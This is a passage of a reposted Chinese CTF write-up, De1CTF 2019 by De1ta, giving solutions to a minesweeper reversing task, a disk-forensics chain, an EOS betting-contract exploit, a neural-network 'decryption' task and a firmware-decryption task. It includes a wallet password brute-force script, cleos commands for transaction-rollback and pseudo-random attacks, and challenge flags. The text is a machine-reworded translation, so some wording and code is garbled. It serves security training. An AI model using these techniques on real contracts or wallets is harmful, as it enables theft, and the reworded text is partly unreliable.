        int[] SwingPosY = new int[SwingNum]{ 0, 7, 15, 3, 16, 28 };
        int[] RandomNum = new int[SwingNum];
        for (int i = 0; i < SwingNum; i++)
        {
            RandomNum[i] = ran.Next(Start, End);
        }

        for (int i = 0; i < SwingNum; i++)
        {
            int x = SwingPosX[i];
            int y = SwingPosY[i];
            eleGrids[x, y].bIsMine = RandomNum[i] > 60 ? false : true ;
            DevilsInHeaven[x, y] = eleGrids[x, y].bIsMine == true ? 1 : 0;
        }
    }

Grid.cs是掌握网格的剧本,主要就是检测游戏胜负以及是不是按下reset按钮,ChangeMap函数会将六个摇摆位的01随机化,起到殽杂作用

exp

  1. 直接做,每次点到雷了,就纪录雷的位置,横竖reset按钮只会将格子都翻面,不会转变格子的01值,保守预计30min可以处理
  2. 逆向,剖析Elements.cs,得知每一个格子是不是是雷,是经由过程全局数组决议的,然后拿全局数组MayWorldBeAtPeace和AreYouFerryMen做对应处置惩罚就可以够了
  3. 动态调试,在游戏进去后检察Grid.cs中的,用来保留游戏数据以便reset按钮实行的DevilsInHeaven数组,处理
  4. 改代码,经由过程底层修正Grid.cs中检测游戏胜负的if语句,直接加载末了的二维码

DeepInReal

压缩包解压获得三个文件。

De1CTF2019 官方Writeup(Web/Misc) -- De1ta

先看 from-officer.txt

De1CTF2019 官方Writeup(Web/Misc) -- De1ta

也许意义是说,这个二进制文件是从嫌疑人的移动硬盘里恢复出来的,是一个 AES-256 加密文件,解密的密钥是世界上最经常使用和最弱的。

依据 officer 的提醒,我们可以上网查一下世界上最经常使用和最弱的暗码是什么。

De1CTF2019 官方Writeup(Web/Misc) -- De1ta

依据维基百科的纪录, 2019 年最经常使用的暗码排在第一位的是 123456

那末我们用题目所供应的加解密软件 WinAES 和密钥 123456 即可解密 recovered.bin 文件。

De1CTF2019 官方Writeup(Web/Misc) -- De1ta

获得解密文件 recovered.bin.decrypted,很自然地想检察文件范例,就去检察一下文件的头部。

De1CTF2019 官方Writeup(Web/Misc) -- De1ta

这个文件原名叫 linj.vmdk,是一个 vmdk 映像文件。它的文件头部被修正过,我们可以参照别的 vmdk 花样的文件头部,把头部改回一般。

De1CTF2019 官方Writeup(Web/Misc) -- De1ta

这时候刻就是一个一般的 vmdk 文件了。我们可以运用 开源取证东西 或许 贸易取证东西 举行 静态取证,也可以运用 专业仿真软件 或许 VMware 举行 动态取证

我这里运用 取证巨匠 举行 静态取证,运用 VMware 举行 动态取证

VMware 中加载这个镜像文件,开机后登录体系须要暗码,暗码提醒 headers

适才我们在文件头处看到了 i_love_kdmv,这个就是体系登录的暗码。

De1CTF2019 官方Writeup(Web/Misc) -- De1ta

De1CTF2019 官方Writeup(Web/Misc) -- De1ta

登录后,在桌面右上角看到一张便签,也许意义是,“你不该该到这里来,我已删除了一条主要的钥匙,怎样找到我?”。

这里的“我”指的是“便签”。嫌疑人极能够运用体系自带的功用举行信息的隐蔽。我们可以先找到 windows 10 下建立标签的体式格局,就是按下 win+w 键。

De1CTF2019 官方Writeup(Web/Misc) -- De1ta

从右侧弹出的侧菜单栏可以看到,sketchpad 功用处写着 bitlock,点进去看看。

De1CTF2019 官方Writeup(Web/Misc) -- De1ta

可以看到 bitlocker 的暗码,linj920623!@#,体系中确切存在一个 bitlocker 的加密盘。

De1CTF2019 官方Writeup(Web/Misc) -- De1ta

运用暗码举行解密,可以成功解开加密盘。

De1CTF2019 官方Writeup(Web/Misc) -- De1ta

加密盘里有两个值得注意的文件。

De1CTF2019 官方Writeup(Web/Misc) -- De1ta

一个是数字钱银加密钱包文件,另一个是暗码字典。这多是嫌疑人用来举行资金流畅的数字钱银钱包。

我们尝试写个剧本,运用暗码字典对加密钱包文件举行暴力破解。

import eth_keyfile
import json

fp = open('ethpass.dict', 'r')
wallet = json.loads(open('UTC--2019-07-09T21-31-39.077Z--266ed8970d4713e8f2701cbe137bda2711b78d57', 'r').read())

while True:
    try:
        password = fp.readline().strip().encode('ascii')
        if len(password) <= 0 :
            print("password not found")
            break
    except:
        continue
    try:
        result = eth_keyfile.decode_keyfile_json(wallet, password)
    except:
        continue
    print(password)
    print(result)
    break

De1CTF2019 官方Writeup(Web/Misc) -- De1ta

暴力破解可以获得效果,加密钱包暗码为 nevada,钱包私钥为 VeraCrypt Pass: V3Ra1sSe3ure2333

私钥提醒我们有一个 VeraCrypt 加密的容器,它的加密暗码为 V3Ra1sSe3ure2333

那末我们须要先找到这个容器文件。这里可以运用通盘搜刮包含特定字串的要领,找到这个加密容器文件。我这里运用 取证巨匠 举行取证,直接在 加密文件 处可以找到这个文件。

De1CTF2019 官方Writeup(Web/Misc) -- De1ta

De1CTF2019 官方Writeup(Web/Misc) -- De1ta

但是在 VMware 相对应的途径下找不到这个文件,想起便签处的提醒,能够在体系加载的时刻该文件被删除了。

我们在体系启动项处,找到一个自动删除 .mylife.vera 文件的隐蔽剧本文件。嫌疑人有意设置了一个浅易的开机自删除功用。

De1CTF2019 官方Writeup(Web/Misc) -- De1ta

那末我们可以直接在 取证巨匠 中导出该文件,也可以从体系盘的用户缓存目录下找到该文件。

运用 VeraCrypt 和之前找到的暗码 V3Ra1sSe3ure2333 举行解密并挂载。

De1CTF2019 官方Writeup(Web/Misc) -- De1ta

我们可以找到看到加密容器内,一共有 184 个文件,有一堆生活照,另有一个 readme 文件。

De1CTF2019 官方Writeup(Web/Misc) -- De1ta

readme 文件提醒这里有 185 个文件,个中 183 张照片是我的生活照,所以必定有一个文件被隐蔽了。

这个文件体系为 NTFS,想起嫌疑人能够运用 NTFS交流数据流 的体式格局举行文件隐蔽。

cmd 下运用 dir /r 敕令可以看到隐蔽文件 528274475768683480.jpg:k3y.txt:$DATA

De1CTF2019 官方Writeup(Web/Misc) -- De1ta

运用 notepad 528274475768683480.jpg:k3y.txt 敕令,直接运用记事本翻开被隐蔽的文件。

De1CTF2019 官方Writeup(Web/Misc) -- De1ta

可以获得一串暗码 F1a9ZiPInD6TABaSE,而且依据暗码的提醒,flag.zip 文件在数据库里。嫌疑人能够把主要文件存放在电脑的数据库里。

想起嫌疑人的电脑装有 phpStudyNavicat,直接启动 mysql,运用 Navicat 检察数据库。

De1CTF2019 官方Writeup(Web/Misc) -- De1ta

看到几个数据库的称号,与 bitlocker 加密盘下 gambling 文件夹里的几个 .sql 文件名一致。

De1CTF2019 官方Writeup(Web/Misc) -- De1ta

那末我们可以比较 .sql 文件里的数据与数据库里的数据,找到数据库 tencent 里多了一张表 auth_secret

De1CTF2019 官方Writeup(Web/Misc) -- De1ta

字段名为 file,字段值是一串 base64 编码字符串。

导出解码,转换为二进制文件,获得一个 zip 文件。

De1CTF2019 官方Writeup(Web/Misc) -- De1ta

压缩包解释里提醒,“这是一个真正的flag文件”,须要找到暗码解开。

我们用之前找到的暗码 F1a9ZiPInD6TABaSE,解开 flag.txt 文件。

De1CTF2019 官方Writeup(Web/Misc) -- De1ta

成功找到嫌疑人隐蔽的主要信息。

Flag:de1ctf{GeT_Deep3r_1N_REAl_lifE_fOrEnIcs}

Easy EOS

要领一:生意业务回滚进击

经视察,发明bet action 在一次生意业务中完成了猜数字游戏,而且发明若赢了,则users表中win的次数+1;若输了,则users表中lost的次数+1。

可以经由过程布置合约,经由过程inline action的体式格局,离别举行猜数字和推断。第一个action猜数字,第二个action举行推断方才是不是赢了。若赢了,则经由过程;若输了,则抛出非常,使全部生意业务回滚。(耍赖)

进击体式格局

# 设置权限
cleos set account permission gllrgjlqclkp active '{"threshold": 1,"keys": [{"key": "EOS7fyKcyPhP5P4S5xXqLzYEFg5bYuYRvxzsX3UJ5W7vAxvXtgYAU","weight": 1}],"accounts":[{"permission":{"actor":"gllrgjlqclkp","permission":"eosio.code"},"weight":1}]}' owner -p gllrgjlqclkp@owner
# 编译合约
cd attack4
eosio-cpp -o attack4.wasm attack4.cpp
# 布置合约
cleos set contract gllrgjlqclkp . -p gllrgjlqclkp@active
# 挪用makebet要领屡次,直到账号win次数大于即是10
cleos push action gllrgjlqclkp makebet '[]' -p gllrgjlqclkp@active
# 请求发送flag
cleos push action de1ctftest11 sendmail '["gllrgjlqclkp", "xxxx@qq.com"]' -p gllrgjlqclkp@active

要领二:伪随机数进击

经由反编译获得伪随机数发生的算法,布置响应的合约,在一次生意业务中,盘算将要发生的随机数,然后用该随机数挪用目的合约的bet action

进击体式格局

# 设置权限
cleos set account permission btdaciaibmfp active '{"threshold": 1,"keys": [{"key": "EOS7fyKcyPhP5P4S5xXqLzYEFg5bYuYRvxzsX3UJ5W7vAxvXtgYAU","weight": 1}],"accounts":[{"permission":{"actor":"btdaciaibmfp","permission":"eosio.code"},"weight":1}]}' owner -p btdaciaibmfp@owner
# 编译合约
cd attack
eosio-cpp -o attack.wasm attack.cpp
# 布置合约
cleos set contract btdaciaibmfp . -p btdaciaibmfp@active
# 挪用makebet要领10次
cleos push action btdaciaibmfp makebet '[]' -p btdaciaibmfp@active
# 请求发送flag
cleos push action de1ctftest11 sendmail '["btdaciaibmfp", "xxxxxx@gmail.com"]' -p btdaciaibmfp@active

DeepEncrypt

赛题背景

如今机械进修以及深度进修在各个范畴广泛应用,包含医疗范畴、金融范畴、网络安全范畴等等。深度进修须要大批的练习数据作为支撑,但是怎样保证练习的数据的安全性是值得我们斟酌的。如今提出了很多基于深度进修模子的模子逆向进击,来对用户的数据举行盗取。

本题模拟了一种基于深度进修的模子,对一些用户数据(flag)举行一系列的处置惩罚以后天生“加密”以后的数据,让选手运用供应的数据,练习解密模子,猎取原始的flag。

赛题流程

供应文件:

  • flag_sample.txt :用于练习的flag样本。
  • enc_sample.txt :用于练习的加密以后的flag样本。
  • enc.hdf5: 基于keras练习的flag加密模子。
  • flag_enc.txt: 选手须要解密的flag (flag in server-> enc.hdf5-> flag_enc.txt)
    #### 供应接口:
    用于给选手提交解密以后的flag,和实在flag举行对照,偏差小于0.2(可以减小偏差请求,增添难度)即可经由过程,给出实在flag。
    “`python
    import numpy as np

flag = np.loadtxt(“../data/flag.txt”)
true_flag = “de1ctf{xxx_xxx_xxx}”
threshold=0.2

def mse(true, predict):
loss = np.average(np.abs(true – predict))
print(loss)
return loss

def judge(predict):
if mse(flag, predict) < threshold:
print(true_flag)
else:
print(“You can’t fool me”)

if name == “main“:
inp = input(“Input your flag_dec result:”)
inp = np.asarray(inp.split(‘ ‘), dtype=float)
judge(inp)

#### 解题剧本
应用AutoEncoderDecoder思绪,应用所给的Enc模子,练习解密模子。

可以直接运转`python solve.py`,效果在flag_dec.txt中,直接复制到到云服务器上举行磨练,底下也有已经由过程解密的效果。(能够要跑频频才出效果,所以我测试的时刻用的是当地测试)

requirements

keras
sklearn
numpy

Dec model:

|     Layer (type)     | Output Shape |  Param  |
| :------------------: | :----------: | :-----: |
| input_1 (InputLayer) |  (None, 64)  |    0    |
|   dense_1 (Dense)    | (None, 2048) | 133120  |
|   dense_2 (Dense)    | (None, 2048) | 4196352 |
|   dense_3 (Dense)    | (None, 128)  | 262272  |
Total params: 4,591,744

Trainable params: 4,591,744

Non-trainable params: 0
_________________________________________________________________
AutoEncoderDecoder:

| Layer (type) | Output Shape |  Param  |
| :----------: | :----------: | :-----: |
| Enc (Model)  |  (None, 64)  |  8256   |
| Dec (Model)  | (None, 128)  | 4591744 |
Total params: 4,600,000

Trainable params: 4,591,744

Non-trainable params: 8,256
```python
def dec_model(enc_shape, flag_shape):
    inp = Input((enc_shape,))
    h = Dense(2048)(inp)
    h = Dense(2048)(h)
    out = Dense(flag_shape, activation='sigmoid')(h)
    return Model(inp, out)
def load_data(flag_name, enc_name):
    '''

    :param path: data path
    :return:
        flag_sample: shape=(512,128)
        enc_sample:shape=(512,64)
    '''
    flag_sample = np.loadtxt(flag_name)
    enc_sample = np.loadtxt(enc_name)
    return flag_sample, enc_sample

def train_dec(flag_sample, enc_sample):
    flag_shape = flag_sample.shape[-1]
    enc_shape = enc_sample.shape[-1]
    Enc_model = load_model("../model/enc.hdf5")
    Enc_model.name = "Enc"
    Dec_model = dec_model(enc_shape, flag_shape)
    print("Train Dec_model")
    Enc_model.trainable = False
    inp = Enc_model.inputs
    dec = Enc_model(inp)
    out = Dec_model(dec)
    model = Model(inp, out)
    model.compile(loss='mean_absolute_error', optimizer='Adam')
    print(model.summary())
    ear = EarlyStopping(monitor='val_loss', patience=10, mode='min', restore_best_weights=True)
    model.fit(flag_sample, flag_sample, batch_size=512, epochs=100000000, verbose=2, validation_split=0.1,
              callbacks=[ear])
    print(Dec_model.summary())
    Dec_model.save(dec_loss0.177.hdf5)


def solve():
    Dec_model = load_model(dec_loss0.177.hdf5)
    flag_enc = np.loadtxt("../data/flag_enc.txt").reshape(1, -1)
    flag_dec = Dec_model.predict(flag_enc)
    np.savetxt("../data/flag_dec.txt", flag_dec)
    # print(flag_dec[0])
    judge(flag_dec[0])

效果

loss: 0.17741050019098772

delta{xxx_xxx_xxx}

flag:

1 0 1 1 1 1 0 1 1 1 0 1 0 0 0 1 0 1 1 1 1 1 1 1 1 0 0 0 0 1 0 1 1 0 1 0 0 0 1 0 0 0 1 0 1 0 0 0 1 1 1 0 1 1 0 1 1 0 0 0 0 1 1 0 0 1 1 0 0 0 0 1 1 1 1 0 0 1 0 0 0 0 0 1 1 0 0 1 1 1 1 0 1 0 1 1 1 1 0 0 0 1 1 0 0 1 1 0 0 0 1 1 1 1 0 0 1 0 0 1 1 1 0 1 1 1 0 0

flag_enc:

-4.286013841629028320e-01 9.896190166473388672e-01 4.559664130210876465e-01 8.176887035369873047e-01 8.356271386146545410e-01 3.765194416046142578e-01 1.687297374010086060e-01 3.029667437076568604e-01 5.969925522804260254e-01 5.114848613739013672e-01 9.926454722881317139e-02 9.131879210472106934e-01 -2.152046710252761841e-01 8.866041898727416992e-02 3.317154347896575928e-01 9.851776361465454102e-01 7.276151180267333984e-01 8.283065557479858398e-01 1.823632977902889252e-03 3.699933588504791260e-01 6.979680061340332031e-02 1.828217357397079468e-01 5.757516622543334961e-01 1.914786100387573242e-01 3.244600296020507812e-01 1.111515283584594727e+00 5.159097313880920410e-01 1.231751441955566406e-01 -3.645407259464263916e-01 7.166512608528137207e-01 1.389274299144744873e-01 7.724004983901977539e-02 7.178838849067687988e-01 -9.603453427553176880e-02 5.028448104858398438e-01 3.499638140201568604e-01 8.395515680313110352e-01 6.976196765899658203e-01 2.593761086463928223e-01 7.141951918601989746e-01 6.022385954856872559e-01 1.001740217208862305e+00 -2.897696197032928467e-01 1.448748558759689331e-01 8.408914208412170410e-01 2.470737695693969727e-01 4.430454969406127930e-01 -2.019447684288024902e-01 8.161327838897705078e-01 2.832469642162322998e-01 6.612138748168945312e-01 9.899861216545104980e-01 2.219144105911254883e-01 1.322134375572204590e+00 7.497617006301879883e-01 9.182292222976684570e-01 6.070237755775451660e-01 3.877772092819213867e-01 3.660472482442855835e-02 7.972034811973571777e-01 -2.158393338322639465e-02 5.925227403640747070e-01 5.734952688217163086e-01 -5.487446486949920654e-02

flag_dec:

9.999969005584716797e-01 1.000000000000000000e+00 1.000000000000000000e+00 8.216343522071838379e-01 1.000000000000000000e+00 2.449917824165481761e-09 4.793806410857692768e-13 9.827108979225158691e-01 1.000000000000000000e+00 9.518706798553466797e-01 4.392772812167322627e-09 6.113789975643157959e-03 4.152511974098160863e-05 4.196180736215637808e-09 7.207927703857421875e-01 2.705646342008542066e-14 6.214135623849870171e-07 9.999998807907104492e-01 9.499107003211975098e-01 1.000000000000000000e+00 1.000000000000000000e+00 1.000000000000000000e+00 1.000000000000000000e+00 1.000000000000000000e+00 9.999998807907104492e-01 1.134839401270570924e-12 1.000000000000000000e+00 1.000000000000000000e+00 1.772474402327793816e-22 9.627295136451721191e-01 8.082498652584035881e-07 5.288467742502689362e-03 1.000000000000000000e+00 1.356615761025602163e-14 9.699743986129760742e-01 9.680391289293766022e-03 1.000000000000000000e+00 3.494189800782449007e-13 1.000000000000000000e+00 3.159084932123808198e-14 2.154111511019039804e-14 5.770184313065346467e-16 1.000000000000000000e+00 1.002021781459916383e-05 9.999998807907104492e-01 8.955678204074501991e-04 1.000000000000000000e+00 9.489459000600186244e-18 8.299213051795959473e-01 9.961280226707458496e-01 9.470678567886352539e-01 1.103274103880202014e-22 1.000000000000000000e+00 6.979074478149414062e-01 2.365609405194221800e-20 1.000000000000000000e+00 1.000000000000000000e+00 1.236146737271584528e-13 6.457178387790918350e-04 5.910291671752929688e-01 9.847130749696120233e-11 1.000000000000000000e+00 2.832969698829401750e-07 3.806088219523060032e-21 4.788258164282160009e-21 1.000000000000000000e+00 1.000000000000000000e+00 9.999659061431884766e-01 6.373043248686371953e-08 9.844582080841064453e-01 1.429801388397322626e-09 9.504914879798889160e-01 9.991403818130493164e-01 2.418865845658057272e-19 1.000000000000000000e+00 2.270782504153226976e-17 2.376812939172689987e-12 1.000000000000000000e+00 1.241249365389798104e-14 1.346701979637145996e-01 3.604641086571485015e-16 3.174040572003981712e-17 2.682143889551155425e-18 1.000000000000000000e+00 1.000000000000000000e+00 1.364883929491043091e-01 4.823155208555363060e-09 8.947684168815612793e-01 4.979012906551361084e-02 9.936627149581909180e-01 1.000000000000000000e+00 6.171471613924950361e-05 1.000000000000000000e+00 3.350817401326366962e-10 9.962311387062072754e-01 8.754302263259887695e-01 1.577300601240949618e-08 1.000000000000000000e+00 8.513422443141155371e-14 1.534198522347082760e-13 4.049778076177301201e-16 5.455599006151120746e-18 8.422639439231716096e-06 6.625648587942123413e-02 2.438588886377601739e-09 1.000000000000000000e+00 1.000000000000000000e+00 3.147949101389713178e-08 7.443545779750593283e-11 7.562025007915029740e-13 9.984059929847717285e-01 1.000000000000000000e+00 1.000000000000000000e+00 9.997273981571197510e-02 6.106127430939578549e-13 4.462333163246512413e-05 9.999997615814208984e-01 1.432137628991099035e-24 9.999928474426269531e-01 1.000000000000000000e+00 2.727753134479371511e-09 1.000000000000000000e+00 2.289682043965513003e-07 9.587925076484680176e-01 9.999778270721435547e-01 1.000000000000000000e+00 1.434007310308516026e-03 7.365300120909523685e-07

Upgrade

出这个范例的题,主假如考核选手对加密固件的提取,题目触及的是DIR-850L固件的实在加解密,也是愿望选手在做了题以后有所收成,可以在实在装备上做进一步的破绽发掘

这道题有两个预期解,一是直接经由过程逆向晋级的部份编写解密剧本,加密不是很难,已给出了AES所需的key,对装备有一些研讨的在看了这个cgi-bin以后一般都能猜到是哪些型号,所以我patch掉了一些信息;二是巧解,在固件晋级的过程当中他可以直接挪用解密顺序对固件解密,所以须要qemu运转一个同架构的虚拟机,然后挪用解密顺序解出来

 


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明De1CTF2019 官方Writeup(Web/Misc) — De1ta
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址